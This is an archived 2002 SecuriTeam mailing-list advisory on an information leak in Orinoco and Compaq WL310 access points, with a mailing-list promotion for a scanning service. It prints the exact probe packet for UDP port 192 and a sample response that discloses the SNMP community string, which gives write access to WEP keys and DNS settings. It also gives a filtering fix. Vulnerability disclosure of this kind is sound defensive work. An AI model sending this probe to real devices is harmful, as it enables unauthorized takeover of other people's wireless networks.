

[NEWS] Information Leakage in Orinoco and Compaq Access Points

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0026.html>

From: support@securiteam.com

Date: 08/10/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sat, 10 Aug 2002 22:01:06 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Information Leakage in Orinoco and Compaq Access Points

SUMMARY

An information leakage vulnerability exists in Orinoco and Compaq OEM access points, disclosing the unique SNMP community string. As a result, an attacker can query the community string and gain the ability to change system configuration including Wired Equivalent Privacy (WEP) keys and Domain Name Service (DNS) information.

DETAILS

The Compaq WL310 is an OEM Orinoco Residential Gateway access point. Both the Compaq and Orinoco access points use a unique identification number found on the bottom of the access point for configuration through their management client. This identification string is used as the default SNMP read/write community string. The community strings appears to be unchangeable, unique, and not easily guessable. By sending a specific packet to UDP port 192, the access point will return information including the firmware version and the unique identification value. The packet returned includes the value of system.sysName.0, which in the case of the Compaq WL310 and Orinoco Residential Gateway, includes the unique identification value. The identification value can then be used as the SNMP community string to view and modify the configuration.

Securiteam: [NEWS] Information Leakage in Orinoco and Compaq Access Points

The probe packet:

"\x01\x00\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

Example probe response:

01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
00 00 00 00 00 60 1d 20 2e 38 00 00 18 19 10 f8 |`.8.....
4f 52 69 4e 4f 43 4f 20 52 47 2d 31 31 30 30 20 | ORiNOCO RG-1100
30 33 39 32 61 30 00 00 00 00 00 00 00 00 00 00 | 0392a0.....
02 8f 24 02 52 47 2d 31 31 30 30 20 56 33 2e 38 | ..\$.RG-1100 V3.8
33 20 53 4e 2d 30 32 55 54 30 38 32 33 32 33 34 | 3 SN-02UT0823234
32 20 56 00 | 2 V.

system.sysName.0 = "ORiNOCO RG-1100 0392a0"
Community name: 0392a0

Vendor Response:

Both vendors were notified of this issue on July 8, 2002. According to Orinoco, "The Residential Gateway line has been discontinued."

Solution:

Employ packet filtering on inbound requests to deny access to ports 192/udp and 161/udp on the access point.

ADDITIONAL INFORMATION

The information has been provided by
<mailto:marshall.beddoe@foundstone.com> Marshall Beddoe and
<mailto:tony.bettini@foundstone.com> Tony Bettini.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.

- *Previous message:* support@securiteam.com: "[UNIX] Sun ONE / iPlanet Web Server Remote Buffer Overflow"
- *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)